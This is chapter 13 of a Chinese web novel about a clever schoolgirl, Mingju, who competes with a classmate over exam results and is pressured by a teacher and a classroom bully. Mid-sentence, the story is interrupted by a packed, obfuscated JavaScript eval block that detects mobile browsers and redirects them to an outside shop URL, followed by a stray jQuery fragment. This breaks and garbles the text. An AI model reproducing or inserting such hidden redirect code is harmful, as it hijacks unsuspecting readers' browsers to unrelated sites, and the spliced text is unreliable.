13. 13
作品:《诱鸟日记》 祁载阳收起笔,对她浅笑道:“这题思路太绕了些,辛苦我们聪明的栗神自己先想一下,我出去一趟。”
鸣雎还没反应过来,他已出了教室。
祁载阳一走,鸣雎就同庄锡对视一眼。一看见庄锡那明亮的眼睛,她又立刻撇开头。
冷战还没打完呢,才不要理他。
庄锡从包里翻出一袋薯片,叽叽喳喳地递给她,算是向她求和。
她接过薯片,笑盈盈地扬头对庄锡道:“要不要试试这道题。”
庄锡顿了顿,轻哼了一声,开始笑她快宅出霉斑了,又提起两人从前的日子,非要她周末出门陪他去吃饭。
鸣雎担心妈妈的病,不想出门。况且她不爱提从前,连着拒绝几次,庄锡仍不听。
她只得把题目推过去,打断他的话:“你快看看这道题吧,很有意思的。”
庄锡:“嘶……看不懂。”
鸣雎:“要不要我教你?”
庄锡:“等会儿!我非要试试。”
“快放学了哦。”鸣雎在一旁给他上压力。
庄锡再没提她不爱听的话,他只抓着头发,拧眉思索。
鸣雎一看他这样犯愁,轻笑起来,挥舞黑笔,同他讲解。
祁载阳重新回到教室时,就见到骄傲的少女眨着眼,头挨在庄锡身旁,笔尖飞舞,思路洋洋洒洒,脸上洋溢着张扬的自信。
庄锡没骨头似的,侧在桌面上,有一搭没一搭地接她的话,似乎兴趣缺缺,视线却黏在她脸上。
少女挥笔写下关键一步,得意地问:“怎么样,会了没?”
庄锡笑得吊儿郎当,递给她一瓶橘子汽水,贴上她的脸。
水珠沿着她皮肤流下,显出透亮的白。少女微拧起眉,气势汹汹地揍了庄锡一拳。
祁载阳低下头,手指轻轻按上少女的肩。
鸣雎回过头,脸上张扬的笑意淡下来,含着某种挑衅意味。双眸明亮,像一把尖刀,直直刺进他眼里。
她不怀好意地问他:“这道题你……”
“你做得怎么样?”祁载阳拉开座椅,坐到她眼前。
他一副淡然表情,坐下时卷起一点浮尘,一阵轻风。
风里是淡淡的香,冷香。像是四十度的天走进了空调房,房里生长着耐寒的花。
鸣雎装作无辜道:“难道无所不能的祁神也有做不出来的题吗?”
“你对我评价这么高?”祁载阳托着脸,靠近了她几分。
他瞳仁很黑又很亮,瞳仁里倒映着小小的她,就仿佛她正被一弯星河包围。
鸣雎心头一紧,她的那点小恶意好像被识破了。
她立刻摇头装傻,庄锡却直接将她写的那道关键一步递给祁载阳。
庄锡笑道:“小雀儿的解法挺有意思的。”
“小雀儿?”祁载阳缓缓念了声。
“对,我们都叫她小雀儿。”庄锡勾住她的肩,向祁载阳介绍。
鸣雎不喜欢被叫小雀儿。
她不知道还要再和庄锡说几次。
她脸色冷下来,推开庄锡,再没出声。
庄锡:“又咋啦?多大气性,时不时就不高兴,别气了啊~”
鸣雎深吸了一口气。
算了,是她敏感矫情,她不想浪费时间再多做解释。
但她不出声,庄锡可能是觉得好玩,不停扯她头发,言语调侃她。
“好聪明。”祁载阳忽然出声,打断了庄锡。
庄锡一愣,鸣雎也愣了。
祁载阳弯着笑眼,认真夸道:“栗神,你怎么想出来的解法?是天才吗?”
“什么天才?”庄锡追问过去,再没来招惹她。
鸣雎顿时心情好起来,听着祁载阳一口一个栗神,尾巴都快翘天上去了。
同学间虽然往往以某神来赞扬身边的学神,但往往喊的都是男生,从来没人叫过她栗神。
这是她第一次听到这样的称呼,轻飘飘的,像一阵风。
愉快,是真的非常愉快。
这次的难题较量,她可以说是大获全胜。
鸣雎哼起歌来,声音轻得像窗外的鸟鸣。
窗外树梢颤抖,一只蓝鸟立在枝头振翅、停留、啼鸣……
蓝色的鸟,蓝尾山雀。
祁载阳握紧笔,眼前飘了几缕长发。
鸣雎还在轻哼,马尾随着韵律轻轻摆动,发尾落在他的草稿纸上,一晃,一晃,又随风飘远了。
祁载阳平静地扫开她的长发,在发尾的阴影下落笔。
鸣雎只觉发根有些痒,她撩过长发,回头瞥了眼后桌。
祁载阳还在学习,她不能输。
鸣雎立马奋笔疾书起来。
很快,第一次月考结束,老师在教室分发试卷。
鸣雎神色不变,端坐在位置上,脖子却悄悄伸长了许多。
试卷一张张发下来,她看着鲜红的数字,满分,满分,满分……
果然不错,当上课代表后,她一直跟着助教姐姐学习,考试状态比以往都好。这次所有理科都考了满分,很有希望冲第一。
她又撇头去看祁载阳,那家伙早将试卷折好,收进了桌肚。她没看见祁载阳的分数。
鸣雎抿紧唇,悄悄收回视线,开始折自己的试卷。
这次月考完会发小额奖金,第二比第一少五千。她需要这五千救急,却不知道第一究竟是不是她。
不过她几乎都是满分,祁载阳应该很难再超越。
物理徐老师走进教室,教棍敲了敲黑板。
她撑在讲台上,冷静地说:“还笑?现在成绩出来了,一个个还蹦不蹦了?”
徐老师脾气有些大,很多同学都不太喜欢她,有些甚至同老师对着干,台下嬉笑声不停。
徐老师训斥到一半,忽然叫起鸣雎来:“课代表,帮我管一下纪律,我们现在开始讲题。”
鸣雎四下望去。
让她管纪律?她怎么管?
可徐老师之前就提醒过她几次,有几个同学上课不老实,要她一定盯好,有事就替老师制止。
这是徐老师交给她的最重要的任务之一,它必须得完成。
徐老师背过身去写推导式,板书复杂,底下同学打盹的,嬉笑的,玩手机的……各式各样。
鸣雎一一望过去,只觉头疼。
倪立轩则更为过分,揉纸团到处砸人,砸得几个同学都敢怒不敢言。
鸣雎皱眉瞪他,他反瞪回来,挥了挥纸团似乎要砸她。
鸣雎下意识抱头躲了一下,但那纸团没飞向她,而是砸向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16620584|187862||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了另一个男生。
总有人要被倪立轩欺负,不是她,就是别人。
鸣雎捏紧眉心,耳边跳动着倪立轩贱兮兮的嬉笑声。
她想打断徐老师,又担心再度激怒倪立轩。
这堂课就这样闹腾到一半。男生再忍不了被倪立轩欺负,直接摔了书,踹开桌子站起来。
徐老师还没出声,男生已经摔门而出。
徐老师脸色难看,她望向下方同学。
所有人都安静坐好,倪立轩虽吊儿郎当地倚坐在座位里,但也没有再丢纸团了,看起来有股置身事外的淡漠感。
鸣雎意识到不妙,徐老师巡视这一圈,没找到罪魁祸首,肯定要来问她了。
果然,徐老师拍响桌子,“砰”一声。接着问她:“课代表,你这次又没看见?”
倪立轩似笑非笑,紧盯向鸣雎。
威胁。
两边都在威胁。
鸣雎完全被架在火上烤。
她低下头,看着男生座位下的满地纸团,张了张口,再没出声。
妈妈现在精神状态堪忧,爸爸更是冷血如铁。没有人教过她,在进退维谷之际,该怎样替自己撕开一条生路。
多说多错,她干脆不说。
徐老师翻开成绩册,脸色更难看。她扫视了一圈同学,说道:“真没想到啊,你们一个个有能耐了。”
虽然没指名道姓,但鸣雎知道,这就是在暗指她不好。
鸣雎脸涨得通红,根本没法听清徐老师在说什么。被训斥的尴尬充满大脑,她焦虑不已。
很快,老师开始了美德教育,这堂课变成了心理课。
鸣雎低头闷了许久,深吸一口气,挺起腰板,死死盯着老师手里的成绩册。
学校还要再过几天才会张贴出成绩排名。
可她现在难受得紧,只有看到成绩才能抚慰。
这次考试,祁载阳究竟在她上面还是下面?
总分第一是不是她?
眼睛都盯疼了,可直到放学,鸣雎都没找到机会看一眼成绩册。
同学们陆陆续续离开,她整理完明天要用的材料,走出教室门,窗外雨势已起。
她今天没带伞,只能等雨小些再走。
正叹气间,楼道里闯进来几个女生,蹦蹦跳跳着,追逐到鸣雎的教室门口,踮脚伸头往窗户里看。
鸣雎也凑过去看。
清透的玻璃窗仿佛鱼缸,隔着朦胧光景,祁载阳还坐在原位上,正在笔记本上抄写什么。
雨天阴翳,暗蓝色的天光漫遍教室,他的皮肤在这种氛围里,显得格外清透,像是一尾水中的美人鱼。
几个女生叽叽喳喳,讨论要不要去同他搭话。但她们谁也没敢动,你推我,我推你,小声嬉笑着,脸庞都红扑扑的。
不知怎么,有人推到鸣雎身上,一个胆大的女生问她:“诶?你是这个班的吧,能不能和我加个好友,把他联系方式推给我们呀?”
鸣雎故作疑惑:“谁?”
女生指了指窗里的人:“他啊,你不至于不认识吧,平时不刷手机吗?”
鸣雎警惕了几分:“你们是谁,是我们学校的吗?”
一个圆脸女生脸蛋涨红了,一把推开她,叫道:“不给就算了,管那么多做什么?”

